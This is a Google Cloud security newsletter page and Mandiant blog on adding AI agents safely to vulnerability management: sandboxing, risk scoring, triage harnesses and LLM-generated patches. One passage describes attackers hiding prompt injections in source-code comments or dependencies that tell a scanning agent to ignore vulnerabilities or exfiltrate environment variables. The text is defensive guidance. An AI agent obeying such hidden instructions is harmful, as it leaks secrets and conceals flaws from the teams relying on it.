aside_block: <ListValue: [StructValue([('title', 'Get vital board insights with Google Cloud'), ('body', <wagtail.rich_text.RichText object at 0x7fcbc9eb85b0>), ('btn_text', 'Visit the hub'), ('href', 'https://cloud.google.com/solutions/security/board-of-directors?utm_source=cgc-site&utm_medium=et&utm_campaign=FY26-Q2-GLOBAL-GCP39634-email-dl-dgcsm-CISOP-NL-177159&utm_content=-&utm_term=-'), ('image', <GAEImage: GCAT-replacement-logo-A>)])]>

How AI leverages deep context as the defender’s advantage

By Francis deSouza, COO, Google Cloud and President, Security Products

Francis deSouza, COO, Google Cloud and President, Security Products

Attackers are making headlines with AI, but defenders have a distinct and powerful advantage.

AI is rapidly transforming the cyberthreat landscape, driving unprecedented shifts in the scale, speed, and sophistication of attacks. Just recently, Google Threat Intelligence Group documented a critical milestone: the first known case of a zero-day exploit built entirely with AI. While we successfully disrupted their plans and got the vulnerability patched before launch, it highlights exactly what we are up against.

With AI agents, attacks are accelerating at machine speed. Last year, the handoff time between the first and second stage of an attack was eight hours; today, it takes just 22 seconds.

There’s an old saying in cybersecurity that adversaries only have to be right once, but defenders have to be right every time. That is the attacker’s advantage.

But AI is rewriting those rules, delivering a decisive defender's advantage built on deep context.

The AI Era: Attacker’s Profile vs. Defender’s Advantage

Aspect	Attacker's Profile	Defender's Advantage
Visibility	Limited to outside-in probing; little enterprise context upon entry.	Complete inside-out context; knows exact asset locations, application behavior, and team ownership.
Operational Speed	Executes multi-agent handoffs in 22 seconds.	Machine-speed defense; proactive mitigation in seconds (such as Morgan Stanley's 90-second resolution.)
Core Tactics	Multi-model phishing, deepfakes, AI-built zero-days, and model poisoning.	Closed-loop defense; continuous exposure mapping and accelerated code patching.

The unified blueprint: Google AI Threat Defense

Previously, enterprise context data was fragmented across disconnected security tools. Now, AI empowers defenders to synthesize this rich data into a unified, always-on, autonomous defense.

We built Google AI Threat Defense to combine Google’s security capabilities into a single platform: the advanced reasoning of Gemini, the contextual cloud power of Wiz, the code-level remediation capabilities of CodeMender, and the frontline intelligence of Mandiant.

Our platform transforms vulnerability management across a continuous four-step framework:

Stage	Technology & Actions	Strategic Value to the Enterprise
1. Prepare	Map exposed applications, APIs, identities, and runtime environments using Wiz. Simulate attack paths with the Wiz Red Agent.	Hardens the foundation to reduce internet reachability before vulnerabilities hit production.
2. Scan & Prioritize	Run multi-model scanning — using lighter models for broad coverage and Gemini frontier models for deep-dive analysis of high-risk assets.	Replaces massive alert lists with deep, context-driven risk validation, including an optimal cost per token.
3. Remediate	Deploy CodeMender inside developer IDEs/CLIs to auto-generate verified code fixes.	Replaces slow, manual patching with autonomous code-level remediation and memory-safe migrations.
4. Monitor	Deploy AI agents tied to Wiz to hunt for vulnerabilities and anomalies across network, identity, and application telemetry. Pair with Google Security Operations to rapidly hunt for unknown threats.	Establishes machine-speed runtime detection for zero-day response and threats against unpatchable environments.

To stop vulnerabilities before they hit production, Morgan Stanley partnered with Google Cloud and Wiz, aligning their strategy with the core principles of the AI Threat Defense framework: prepare, scan, remediate, and monitor. By replacing fragmented tools with this unified blueprint, Morgan Stanley collapsed its mean time to detect threats by 99.9%, shifting from a reactive 45-minute window to proactive mitigation in 90 seconds or less.

Google Cloud x Morgan Stanley: Redefining Threat Defense in the AI Era

Maintaining strategic human oversight

While human-speed execution cannot keep pace with automated threats, human management remains essential. We align autonomous AI agents directly with the human teams they support. In Wiz, for example, the Red agent automates penetration testing, the Blue agent drives threat investigations, and the Green agent accelerates cloud remediation.

Every AI conversation is a security conversation. That means securing AI infrastructure requires building from the ground up, and not bolting on.

This ensures autonomy under human supervision, empowering engineering and security teams to eliminate backlogs and secure the software development lifecycle without sacrificing speed.

What’s next: AI-native, agent-driven infrastructure

The foundation of your defender's advantage starts with protecting your environments — not just from outside threats, but from internal risks like shadow AI and unauthorized agents. When employees download models and deploy agents outside of IT oversight, they create silent logic breaches and data-poisoning risks.

The key to countering this is enforcing Zero Trust for AI, and directing teams toward approved architectures with proper governance. Every AI conversation is a security conversation. That means securing AI infrastructure requires building from the ground up, and not bolting on.

At Google, security is not just an added layer; it is our foundation. Our secure-by-default architecture automatically blocks nearly 15 billion unwanted emails and protects billions of users every day.

As the threat landscape matures, outperforming automated adversaries requires a platform built from the ground up to be AI-native and agent-driven.

Fight AI with AI. Learn more about how to secure your software lifecycle with Google AI Threat Defense.

aside_block: <ListValue: [StructValue([('title', 'Learn something new'), ('body', <wagtail.rich_text.RichText object at 0x7fcbc9eb87f0>), ('btn_text', 'Watch now'), ('href', 'https://www.youtube.com/watch?v=CmGWIwgHR60'), ('image', <GAEImage: Cloud-CISO-Perspectives-logo-A>)])]>

In case you missed it

Here are the latest updates, products, services, and resources from our security teams so far this month:

FinOps for SecOps: How to optimize the agentic SOC for value: To be more resilient in AI adoption, CISOs should develop a disciplined "FinOps for SecOps" blueprint that maximizes threat disruption while keeping control over compute costs. Here's how. Read more.
New IDC study: How Mandiant transforms security into a competitive advantage: A new IDC Business Value White Paper found that you save an average of $4.3 million, driving a 268% three-year ROI, with Mandiant Consulting. Read more.
Drive proactive security, prioritize risks with Google Threat Intelligence and Wiz ASM: To help you match your real-world exposures with real-time adversary activity, we’ve begun integrating Google Threat Intelligence with Wiz Attack Surface Management. Read more.
Shift into high gear with agents: Securing the software-defined vehicle: To better support and secure SDVs, Google Cloud and Valtech have partnered to develop Nexus SDV, a highly-scalable, AI-enabled connected vehicle platform. Read more.
Meet the 33 cybersecurity startups joining the Gemini Startup Forum: Our flagship Google for Startups program, Gemini Startup Forum: Cybersecurity, has selected its first 33 trailblazing startups. Read more.
Introducing k8s-aibom on GKE for automated AI bills of materials: We’re open-sourcing k8s-aibom, a Kubernetes controller that continuously monitors environments to detect AI runtimes and generate standard ML-BOMs. Read more.
BGP route policies: Top 3 use cases by customer demand: We detail the three most impactful use cases for Cloud Router BGP route policies that have emerged since 2025. Read more.
Contributing to U.K. financial sector resilience as a critical third party: The U.K. Treasury has designated Google Cloud EMEA as a critical third party (CTP) to the U.K. financial sector under the CTP regime. Here’s how that helps you. Read more.
Google Cloud confirmed to offer a safer choice for EU public sector organizations with Dutch DPIA approval: We understand that for the EU public sector, data protection is a prerequisite. We’re excited to reinforce this commitment with a major milestone. Read more.
Why IaC coverage belongs on your security dashboard: Rethinking infrastructure-as-code coverage as a funnel that shows how much of your infrastructure is governed, traceable, and ready for remediation at speed. Read more.
Inside the ProdSec playbook: Operationalizing Wiz for end-to-end cloud security: Rethinking infrastructure-as-code coverage as a funnel that shows how much of your infrastructure is governed, traceable, and ready for remediation at speed. Read more.
Build AI security agents with Wiz MCP: Power AI-driven security with trusted security context, Wiz AI Agents, and Wiz AI Skills. Read more.

Please visit the Google Cloud blog for more security stories published this month.

aside_block: <ListValue: [StructValue([('title', 'Join the Google Cloud CISO Community'), ('body', <wagtail.rich_text.RichText object at 0x7fcbc9eb80a0>), ('btn_text', 'Learn more'), ('href', 'https://rsvp.withgoogle.com/events/google-cloud-ciso-community-interest-form-2026?utm_source=cgc-blog&utm_medium=blog&utm_campaign=FY25-Q1-global-GCP30328-physicalevent-er-dgcsm-parent-CISO-community-2025&utm_content=cisop_&utm_term=-'), ('image', <GAEImage: GCAT-replacement-logo-A>)])]>

Threat Intelligence news

A look at the drivers, dynamics, and applications of the pro-Russia influence ecosystem: Four years into Russia’s full-scale invasion of Ukraine, the pro-Russia influence ecosystem has evolved from a tool of war back into a global strategic asset. The interconnected nature of the ecosystem's disparate components makes it resilient to limited scope disruptions, a factor that defenders need to consider to mitigate pro-Russia influence threats. Read more.
Google’s continued disruption of malicious residential proxy networks: In coordination with the FBI, Lumen, and others, Google took action against the NetNut residential proxy network, also known as Popa. This action builds on our disruption of the IPIDEA proxy network that took place in January 2026, and is a continuation of Google’s objective to dismantle malicious residential proxy networks. Read more.
GhostApproval: A trust boundary gap in AI coding assistants: Learn how Wiz uncovered a category-level blind spot in modern AI coding assistants, and why the human-in-the-loop safety model fails against this classic threat. Read more.
The latest addition to Turla’s intelligence gathering apparatus: Google Threat Intelligence Group (GTIG) has conducted an in-depth analysis of a .NET backdoor, tracked as STOCKSTAY, that has been continually developed and deployed by the Russia-linked threat actor Turla, one of the oldest known cyber espionage groups, since at least December 2022. As part of our continued tracking of this group, we’re providing an overview of our STOCKSTAY analysis, a timeline of key developmental and operational observations, and detailed similarities to KAZUAR to contextualize this new capability in Turla’s arsenal. Read more.
Recovering active ADFS signing keys via Machine DPAPI: During a recent red team engagement, Mandiant discovered that when ADFS certificates are manually rotated, configuration drift can silently leave active signing keys exposed in Machine DPAPI. Here’s how to defend against it. Read more.

Please visit the Google Cloud blog for more threat intelligence stories published this month.

Now hear this: Podcasts from Google Cloud

Cloud Security Podcast: Building an AI-pilled, solo vibe-coded, Clickhouse-based SIEM: Dan Lussier, founder, Nano, unpacks how he vibe-coded an entire SIEM from scratch during his end-of-year holiday break. Listen here.
Cloud Security Podcast: Scaling lessons, from leading the NSA to defending the world: Morgan Adamski discusses how public-private partnerships and the shift to cloud infrastructure have transformed cybersecurity defense through improved intelligence sharing and collective trust. Listen here.
Cloud Security Podcast: Closest alligator to the canoe: How transforming the SOC became P0 for Lloyds Bank: Matt Row, chief security officer, Lloyds Bank, explains the bank's digital transformation strategy, highlighting how it modernized its security operations center to achieve a 20x reduction in human-reviewed alerts. Listen here.
Defender’s Advantage: Human-machine teaming and applying AI to frontline threat intelligence workflows: Jake Nicastro, AI lead, Frontline Intelligence Operations, GTIG, details how his team is shifting from simple prompt engineering to more advanced agentic workflows, focusing on a model of human-machine teaming. Listen here.

To have our Cloud CISO Perspectives post delivered twice a month to your inbox, sign up for our newsletter. We’ll be back in a few weeks with more security-related updates from Google Cloud.

We’re partnering with the Georgia Public Library Service for no-cost career and AI training.

2026-07-16T16:00:00+00:00

Google partners with the Georgia Public Library Service to provide free Career Certificates and AI training to residents statewide.

Create, edit and star in videos with two Google Vids updates

2026-07-16T16:00:00+00:00

Text "Gemini Omni and Personal Avatars in Google Vids" surrounded by various images

Connect more of your apps to Search

2026-07-16T16:00:00+00:00

Connected apps rendering

NotebookLM is now Gemini Notebook

2026-07-16T16:00:00+00:00

NotebookLM is now Gemini Notebook

Reimagining higher education with the Waterloo Futures Lab

2026-07-16T16:00:00+00:00

Several alumni being interviewed

Demystifying AI Exploits: A Blueprint for AI-Assisted Vulnerability Management

2026-07-16T14:00:00+00:00

Written by: Jules Czarniak

Introduction

As highlighted in the Mandiant M-Trends 2026 report, the mean time-to-exploit (TTE) has dropped to -7 days, meaning vulnerabilities are often exploited a week before a patch even exists.

To keep pace, many security teams are exploring how to integrate large language model (LLM) agents into their codebases, development environments and continuous integration and continuous delivery (CI/CD) pipelines for automated vulnerability discovery and remediation. However, deploying privileged artificial intelligence (AI) agents without mature integration processes introduces new architectural risks.

In response to customer inquiries about how to safely integrate AI capabilities into vulnerability management workflows, this blog provides actionable guidance from Mandiant Consulting about how to establish operational guardrails for AI assisted vulnerability management, including several detailed scenarios. What each of these examples show is that security teams can accelerate workflows with AI while also upholding the structural integrity of their environments. We suggest that combining AI capabilities with deterministic controls and human intelligence in strategic ways maximizes benefits and reduces risk.

Establish Operational Guardrails to Safely Deploy AI Agents

To safely adopt advanced AI capabilities without introducing unpredictable failures into deployment pipelines, organizations should ground their approach in established industry standards. While guidelines like the NIST AI Risk Management Framework (RMF) and the OWASP Top 10 for LLMs provide comprehensive baselines for identifying risks, operationalizing these controls requires a structural blueprint.

Frameworks like Google’s Secure AI Framework (SAIF) and Google’s approach to secure AI Agents provide a practical path forward, demanding that organizations extend existing deterministic controls directly into the AI execution environment. When deploying AI agents, security teams should navigate specific operational and structural risks:

Pre-agent data security and Defense-in-Depth: Agents should not be able to access personally identifiable information (PII), protected health information (PHI), or other sensitive data. Organizations should enforce data security before the prompt reaches the model. This includes strictly using non-production environments populated with synthetic data for testing. For production, security teams should deploy a hybrid defense-in-depth model. This includes Layer 1 deterministic policy engines acting as chokepoints, alongside Layer 2 reasoning-based defenses like specialized guard models (such as Model Armor or similar provider-agnostic guardrails) to filter out sensitive data and block malicious prompt injections before they reach the agent layer. Crucially for vulnerability discovery, security teams should treat the codebase itself as an untrusted input. Threat actors can embed indirect prompt injections within source code comments or third-party dependencies (e.g., hidden instructions telling the agent to ignore vulnerabilities or exfiltrate environment variables), making input sanitation a requirement even for internal scanning.
Cloud provider limitations and zero data retention (ZDR): Many cloud and LLM providers block or throttle automated offensive security probing by default to prevent abuse. Organizations should establish clear rules of engagement and authorized testing agreements to navigate acceptable use policies. Furthermore, organizations should enforce strict zero data retention (ZDR) agreements with their LLM providers to guarantee that proprietary code and discovered vulnerabilities are never used to train external models.
Workload isolation: Agent workloads should execute in strictly isolated, unprivileged containers with dynamically limited privileges. By relying on robust sandboxing to prevent privilege escalation, if an agent hallucinates a destructive command or is hijacked via prompt injection, the blast radius remains contained.
Red Teaming: Before deploying autonomous vulnerability scanners that can dynamically spin up sandboxes and execute code, organizations should subject the AI agents themselves to human-led red teaming as part of comprehensive assurance efforts. This validates the agent's resilience against jailbreaks, recursive logic loops, and complex prompt injections, ensuring the security tooling does not become the attack vector.
Least-Privileged Machine Identities and Human Controllers: While workloads should be isolated, agents inherently require privileges to generate pull requests and commit code. Security teams should ensure these agents operate under distinct, strictly scoped machine identities that tie back to human controllers to ensure accountability and user consent. Organizations should use short-lived, just-in-time (JIT) tokens bound exclusively to the specific repository and branch under review. This enforces the principle of limited agent powers and ensures that even if an agent’s container is compromised via prompt injection, the threat actor cannot pivot to modify adjacent enterprise codebases.
Supply chain resilience for skills: As developers augment AI with third-party skills and model context protocol (MCP) servers, security teams should treat these integrations as untrusted supply chain components. MCP plugins introduce the risk of supply chain poisoning, where a previously benign integration is silently updated with malicious dependencies. Additionally, security teams should evaluate the underlying agent orchestration frameworks themselves (e.g., LangChain, AutoGen) for inherent vulnerabilities, such as session memory poisoning or recursive loop hijacking.
Toxic flow analysis (TFA) and Observable Actions: The objective of TFA is to monitor data paths at runtime, ensuring agents do not exfiltrate sensitive internal context to unvetted external endpoints. Agent actions, inputs, reasoning, and outputs must be fully observable and transparently logged. While implementing dynamic taint tracking for LLMs remains a complex architectural challenge, organizations should clearly separate this runtime observability from static supply chain controls. Integrating threat intelligence to hash and vet incoming agent tools provides a necessary baseline for verifying integrity before deployment. However, because static controls cannot address behavior post-deployment, mitigating data exfiltration ultimately requires active runtime monitoring and secure, centralized logging to trace and restrict the actual flow of data.

Figure 1: Visual representation of an isolated AI agent environment using SAIF mechanisms

By operationalizing these tools within frameworks that demand verifiable integrity and structural resilience, organizations can safely bridge the gap between AI velocity and enterprise defense.

The need for human-led threat modeling

While LLMs excel at identifying syntax patterns, source code itself rarely contains the full picture of unwritten business intent. Some organizations attempt to solve this by connecting LLM agents to internal wikis, design documents, and issue trackers using retrieval-augmented generation (RAG).

While RAG gives the model access to external business context, it is not a perfect fix. Corporate documentation is frequently stale, contradictory, or incomplete. An AI agent might retrieve an outdated architecture diagram and confidently hallucinate a secure path that no longer exists in production. Because LLM agents struggle to resolve conflicting, undocumented human assumptions, human-led threat modeling remains a critical security control across both legacy applications and modern agent workflows.

Security teams should apply threat modeling during both the pre-build system design phase to establish a secure foundation, and during post-build architecture reviews. While an AI agent might successfully identify a poorly configured internal endpoint locally, a human threat modeler asks the structural question: why does that microservice possess broad database read permissions in the first place?

Identifying architectural vulnerabilities requires reasoning about business risk, data sensitivity, and operational constraints. To structure this process, organizations can use industry frameworks like PASTA (Process for Attack Simulation and Threat Analysis) or service offerings like the Mandiant Threat Modeling Security Service to map trust boundaries, uncover structural design flaws, and prioritize compensating controls. Securing fundamental architecture through human oversight is a necessary component when relying on automated agents to find bugs in a poorly designed system.

Once these AI agents are safely sandboxed, as guided by SAIF, and the architecture is verified through threat modeling, organizations can typically apply them to two different problem spaces: Enterprise Vulnerability Management (to assist in managing the volume of known CVEs in commercial off-the-shelf (COTS) software and infrastructure) and Product Security (to identify vulnerabilities in 1st-party (1P) code).

Track 1: Enterprise Vulnerability Management

Foundational security and discovery

While the second track of this post explores how AI agents can uncover complex zero-days in custom code, organizations should manage the scale of enterprise infrastructure in tandem with these AI deployments. Even as new AI capabilities dominate headlines, organizations should still address foundational security challenges, such as secrets sprawl, unmanaged service accounts, missing FIDO2 MFA, and legacy VPN concentrators. Although vulnerability exploitation was the primary initial infection vector in intrusions Mandiant investigated last year, threat actors consistently rely on missing foundational controls and unpatched edge devices to secure and escalate their foothold after exploiting a vulnerability.

Furthermore, AI cannot replace foundational visibility. As security teams deploy AI agents, they should simultaneously close these tactical entry points by maximizing dynamic discovery capabilities like External Attack Surface Management (EASM), Cloud Security Posture Management (CSPM), and Continuous Threat Exposure Management (CTEM). In hybrid and cloud environments, tools like Wiz can be used to map this initial footprint.

Risk-based vulnerability management

Vulnerability management teams are already overwhelmed by the current volume of findings generated by traditional scanners. As organizations scale dynamic discovery tools, such as EASM, CSPM and CTEM, alongside automated AI agents, this influx of findings will compound the problem. To manage this influx, telemetry from these diverse discovery methods must first be normalized and deduplicated. This normalized data serves two purposes: it feeds directly into the risk engine, and it acts as a live overlay to correct stale records in the configuration management database (CMDB). By evaluating the deduplicated vulnerabilities alongside this newly updated asset context and frontline threat intelligence, the RBVM engine calculates a custom risk score that allows security teams to dynamically prioritize remediation.

A mature RBVM methodology calculates a customized risk score on a 0 to 100 scale using a weighted average. A sample formula for calculating this risk-based score is:

Final Score = (W_1 * S_vuln) + (W_2 * S_asset) + (W_3 * S_threat)

The variables and weights (W) are customized to the organization's risk appetite (for example, 0.20 for vulnerability, 0.40 for asset, and 0.40 for threat, summing to 1.0), while the underlying variables (S) are scored on a 0 to 100 scale and defined as follows:

Vulnerability severity (S_vuln): The inherent technical severity of the flaw. This is calculated by taking the CVSS Base Score (which natively accounts for confidentiality, integrity, and availability impact) and multiplying it by 10.
Asset context (S_asset): A combined metric of exposure and data sensitivity. Scores range from 100 for internet-facing assets holding customer data, down to 25 for internal-only assets with no sensitive data. To translate this impact into monetary terms for non-technical stakeholders, organizations can incorporate Factor Analysis of Information Risk (FAIR) principles into this metric. However, this approach requires highly accurate, continuously updated financial data that many enterprises struggle to maintain at scale.
Threat context (S_threat): The real-world urgency of the vulnerability. Scores range from 100 if actively exploited by threat actors relevant to the organization's profile, 75 if a proof-of-concept exists or if it is a vulnerability class easily exploited by autonomous AI agents, down to 25 if the exploit is theoretical and highly complex. Organizations should also map the Exploit Prediction Scoring System (EPSS) probability percentage directly into this variable. This allows the threat score to automatically scale up or down as real-world exploitation telemetry shifts, aligning static vulnerability data with active threat intelligence.

An asset's customized risk score should directly influence internal remediation service-level agreements (SLAs), unless external compliance-driven mandates, such as CISA Binding Operational Directives (BODs), or relevant equivalents, override internal prioritization. A risk-driven and threat-intelligence-driven vulnerability prioritization methodology will help organizations focus resources on managing and mitigating the most critical security vulnerabilities first. This is an area where LLMs can support the vulnerability management process, particularly by helping teams synthesize unstructured threat intelligence to surface relevant risk contexts more efficiently. Enforcing strict SLOs for patching, while requiring formal risk acceptance documentation for any patching exceptions, will help reduce the number of vulnerabilities available to threat actors and increase the visibility of outstanding risks across the organization. Furthermore, organizations should integrate RBVM data directly into their security orchestration, automation, and response (SOAR) platforms for automated alert enrichment.

Figure 2: Integration points of a risk-based vulnerability management (RBVM) program.

Containment and Observability

Modern architecture blueprints must prioritize attack surface reduction under the assumption that vulnerabilities will inevitably be exploited. Moving away from traditional perimeter defenses, organizations should align with zero trust principles, ensuring that security boundaries are established around every asset, workload, and identity.

A component of this alignment is the implementation of strong authentication principles. Organizations should eliminate implicit trust by enforcing continuous, context-aware authentication and authorization. Utilizing Zero Trust Network Access (ZTNA) solutions, such as Identity-Aware Proxies (IAP), shields critical management interfaces (e.g., SSH, RDP) and internal systems from direct internet exposure, granting access only to verified identities and compliant devices.

For public-facing applications and APIs, attack surface reduction involves deploying Layer 7 inspection at the load balancer or API gateway level. This hardening layer enforces strict schema validation, intercepting and neutralizing malformed inbound traffic and potential exploits before they can interact with internal application logic.

Securing the software supply chain is equally vital in modern blueprints, and organizations should align with frameworks like Supply-chain Levels for Software Artifacts (SLSA) across both dependency and build tracks. Security policies should mandate that third-party dependencies are routed through a centralized artifact repository equipped with automated curation services, such as Google Assured Open Source Software (OSS) or an equivalent solution, preventing untrusted code from entering the development lifecycle. Furthermore, maturing toward advanced SLSA build levels (e.g., SLSA level 3) through the implementation of isolation, ephemerality and reproducibility requirements via ephemeral compute infrastructure for CI/CD runners reduces the likelihood of attacker persistence by ensuring environments are short-lived and automatically cycled.

To complement these pre-build controls, runtime observability should be established across all production workloads. This requires monitoring both infrastructure-level behavior and the specific runtime libraries actively executing in production, which surfaces true exploitable risk far beyond a static Software Bill of Materials. In tandem with monitoring workloads, organizations should secure how they authenticate by implementing workload identity federation. By removing static credentials and instead using short-lived tokens backed by strong cryptographic identity verification, organizations can reduce the risk of credential theft and unauthorized lateral movement.

Within the internal environment, microsegmentation should be enforced to break down flat networks into granular security zones. Routing application traffic through a Secure Access Service Edge (SASE) architecture integrates network routing directly with robust identity controls, rendering internal services completely invisible to unauthenticated users and containing threats to their initial point of entry.

Finally, automated containment and incident response within a zero trust framework must rely on deterministic, auditable tooling. Endpoint detection and response (EDR) platforms and SOAR playbooks should handle high-fidelity containment tasks through hardcoded execution logic. While AI tools accelerate triage and policy recommendation, actual execution capabilities must remain restricted to well-defined, pre-tested workflows to maintain total architectural predictability.

Figure 3: Structural containment and observability architecture

Track 2: Product Security & Development (1P Code)

Deterministic and probabilistic tooling

Integrating LLM agents into vulnerability management and security workflows requires recognizing the differences between deterministic and probabilistic tooling. Traditional SAST and DAST tools utilize fixed methodologies to evaluate vulnerabilities through structural code parsing or definitive runtime observations. LLMs, however, evaluate source code by processing tokens simultaneously to calculate statistical and semantic relationships, rather than tracing deterministic execution tracks.

While techniques like Chain of Thought (CoT) prompting allow models to bridge this gap by decomposing complex code paths into intermediate reasoning steps, this process remains bounded by architectural limitations. Even when a model possesses a context window large enough to ingest entire repositories, it may experience attention degradation across long inputs, often failing to correctly weight intervening validation or sanitization logic within the prompt. For example, if a variable is tainted on line 10 but sanitized on line 500, attention degradation can cause the model to lose track of the sanitization logic. Furthermore, when enterprise codebases require chunking to fit within context limits, the resulting fragmentation may cause the model to lose track of end-to-end data flows.

Consequently, probabilistic engines are effective at uncovering localized, static anomalies, such as hardcoded credentials or outdated dependencies, but frequently misjudge complex vulnerabilities split across fragmented chunks or extended context windows. Notable exceptions occur when these probabilistic models are coupled with deterministic feedback loops. For instance, when analyzing C++ memory corruption, an LLM can be equipped with a test harness to iteratively execute code and definitively prove a crash. While these dynamic validation applications are detailed in subsequent sections, the baseline limitation for static analysis across standard enterprise codebases remains: models struggle to consistently evaluate dispersed logic.

Figure 4: Deterministic SAST scanners vs. probabilistic LLMs

Binary and architectural oracles

Many security programs are moving toward agent workflows where an agent autonomously spins up a test environment and uses tools to execute payloads and verify its findings. This is a promising approach, but it is important to understand where it is most effective.

Agent workflows perform well against bug classes with binary and observable oracles, meaning the system provides an objective, 'crash or no crash' feedback loop. For example, if a model is hunting for memory corruption in a C++ kernel, a successful exploit is undeniable: the payload executes, and a resulting crash definitively proves the vulnerability. This explains why the industry is currently seeing a surge in AI-discovered vulnerabilities across memory-unsafe targets like web browsers and operating systems.

However, enterprise software is heavily dominated by vulnerabilities that require architectural oracles for validation. Vulnerabilities like authorization bypasses, complex business logic flaws, and indirect server-side request forgeries require an understanding of business context and cross-service trust boundaries. If an agent's payload fails to produce a clear outcome, it can't reliably distinguish whether the vulnerability is a hallucination or if it simply constructed the payload incorrectly. An agent's malformed payload might even crash an unrelated background process and cause the model to hallucinate a success and report a false confirmation. Complex enterprise architecture contains unwritten business intent that a probabilistic engine can't inherently know.

Figure 5: Evaluating vulnerabilities against binary vs. architectural oracles

Targeted deployment and human impact

Organizations adopting LLMs for vulnerability discovery face a massive staffing challenge. LLMs can generate findings significantly faster than human engineers can triage them. If every LLM-generated alert requires manual review, security teams will quickly face burnout and/or suffer alarm fatigue.

Rather than indiscriminately pointing agents at all available codebases and risking an influx of unverified output, security teams need a selective deployment strategy. Mature programs should maintain SAST and DAST for baseline hygiene and deterministic rule enforcement, and reserve intensive agent audits for high-impact components with clear binary oracles.

Organizations can prioritize agent audits on systems where the technology's strengths align with the broader risk profile:

Memory-unsafe codebases: Legacy or high-performance components written in memory-unsafe languages such as C, C++, or Assembly are strong candidates for LLM audits. These languages are susceptible to memory corruption flaws, such as buffer overflows and use-after-free conditions. Because these vulnerabilities trigger definitive failure states like segmentation faults, they work well with automated sandboxes where agents can compile the code with memory sanitizers and write proof-of-concept inputs. This approach is also effective for auditing the native extensions where safe languages call unsafe internal libraries, such as Python C extensions or the Java Native Interface (JNI).
Systems highly exposed to outside content: First-party data ingestion pipelines, custom API gateways, or proprietary edge proxies. A prerequisite here is direct access to the source code, this strategy is strictly for internally developed or fully open-source codebases where the organization can inspect the logic. Because these systems directly parse untrusted internet traffic, targeting their source code for LLM-driven audits yields the highest risk-reduction ROI.
Shared internal libraries and utilities: Core serialization/deserialization packages, common utility functions, and custom middleware wrappers (such as internal message-queue parsers) maintained in-house. Because the enterprise owns the source code for these shared building blocks, agent tools can easily hook into them within automated test harnesses to fuzz inputs and catch low-level logic or parsing bugs with high fidelity.
Foundational security boundaries: Internally developed centralized authentication services, custom OAuth providers, and internal credential brokers. While testing complex identity boundaries generates higher logic-based noise, having full access to the source code allows teams to pair agents with deterministic checks to safely triage findings, given that the blast radius of an authentication failure justifies the human effort.

To filter the noise generated by LLMs, organizations should establish routing rules. Require the agent to generate a fully reproducible, deterministic test harness (such as a compiled binary or a Python test script) that attempts to prove the exploit. This harness must execute automatically in an isolated, monitored sandbox. If the sandbox execution fails (due to a syntax error or a failed exploit), the ticket is discarded, sparing human resources. However, organizations should enforce execution timeouts and iteration limits on these test harnesses. Without hard limits, an autonomous agent attempting to prove a vulnerability can fall into an infinite loop: writing a script, failing, rewriting, and failing again, exhausting API token budgets and compute resources against a single dead-end vulnerability, creating significant cost overruns without advancing the security review. To manage these expenses, organizations should incorporate FinOps principles to balance the compute and API costs of LLM audits against the traditional expenses of manual triage.

However, a successful execution in the sandbox does not guarantee an actionable, high-priority risk. In practice, autonomous agents frequently produce working PoCs for genuine technical flaws that are ultimately irrelevant; or warrant a lower remediation priority within the context of the system's threat model. For example, the agent might successfully exploit an unreachable dead-code path, or trigger a bug that requires administrative access to execute and yields no further escalation of privilege. Therefore, a human engineer should be assigned to review and prioritize the ticket only if the sandbox registers a successful execution, validating environmental context, reachability, and true business impact as part of the review.

This workflow reduces the volume of alerts, but it is important to understand that the security team's workload does not disappear. The engineer's primary job shifts from manually hunting for the initial vulnerability to auditing the LLM-generated proof to ensure it represents a meaningful risk rather than an unexploitable or contextually irrelevant finding. Leadership should properly staff and train teams for this new reality. Deploying LLM agents does not remove the need for skilled practitioners; it redirects their workload toward complex validation. Equally important is training teams to recognize the risk of false negatives. A hyper-focus on filtering AI-generated noise can create a false sense of security. If an exploit relies on a novel technique or a zero-day vulnerability that was not heavily weighted in the model's training data, the agent will likely scan right past it in silence. LLMs augment discovery, but they do not guarantee exhaustive coverage.

When integrating LLMs into SAST triage pipelines, human engineers should also verify the broader architectural integrity. Prompting an LLM with specific SAST warnings can induce contextual narrowing, where the agent becomes hyper-fixated on resolving a localized syntax error and misses broader architectural flaws existing in the same file. Furthermore, if the agent's mandate extends beyond discovery to automated remediation (such as writing and proposing code fixes), this human-in-the-loop validation becomes critical to ensure the LLM does not inadvertently introduce new regressions or bypass intended business logic.

Figure 6: Flowchart outlining the targeted LLM deployment and triage workflow.

Remediation and hardening

LLM-assisted code remediation

A primary goal of integrating large language models (LLMs) into the software development lifecycle is automated remediation. To achieve this, organizations are deploying these capabilities through two primary execution methods: directly within the integrated development environment (IDE) or as a centralized pipeline runner. Examples include CodeMender, although as of time of writing, it is not publicly available.

IDE-integrated method

This method shifts remediation as far left as possible by operating as an active pair-programmer. Tools running continuous static analysis in the background of the IDE surface vulnerabilities directly to the developer via editor diagnostics like inline indicators or hover tooltips.

Localized scope: The developer can trigger the LLM agent to analyze the localized data flow and generate a targeted patch (such as implementing parameterized SQL queries). By constraining the LLM to localized, syntax-level fixes, the scope of the change remains contained. This prevents the agent from attempting sprawling, multi-file refactors that frequently break complex architectural logic.
Human-in-the-loop: The developer reviews the AI-generated patch before the code is committed.
Managing false positives: Local IDE agents allow developers to manage false positives dynamically. Suppressing alerts anchored to specific line text reduces alert fatigue and preserves developer trust.

CI/CD runner method

The runner method executes asynchronously within the CI/CD pipeline to use an LLM to review committed code and automatically propose remediation.

Restricted execution and deterministic validation: Asking a centralized runner to automatically rewrite a complex, multi-file authorization flaw directly in the main branch introduces a high risk of breaking logic errors. To mitigate this, agents must be restricted to generating pull requests (PRs). Once a PR is generated, it must automatically execute standard regression suites alongside the deterministic test harness. By rerunning the initial PoC against the patched code, the workflow repurposes the exploit script as a validation oracle to prove the vulnerability has been remediated. A human engineer then reviews the PR to validate the architectural logic before merging.

In all cases security teams should define a clear boundary between the two methods rather than rely on a single approach. IDE agents provide immediate, syntax-level support. They catch and resolve low-complexity errors locally before developers commit code. Centralized CI/CD runners handle broader organizational baselines. They propose complex, repository-wide fixes for vulnerabilities that bypass local environments.

Post-deployment controls

Even with human review and deterministic test harnesses, AI-generated patches can still introduce logic regressions in production. Organizations should implement strict post-deployment controls:

Automated rollbacks: Treating LLM-generated code with the same post-deployment scrutiny as any major architectural change ensures that if an unforeseen regression traverses the CI/CD pipeline, the environment can revert to a known good state.
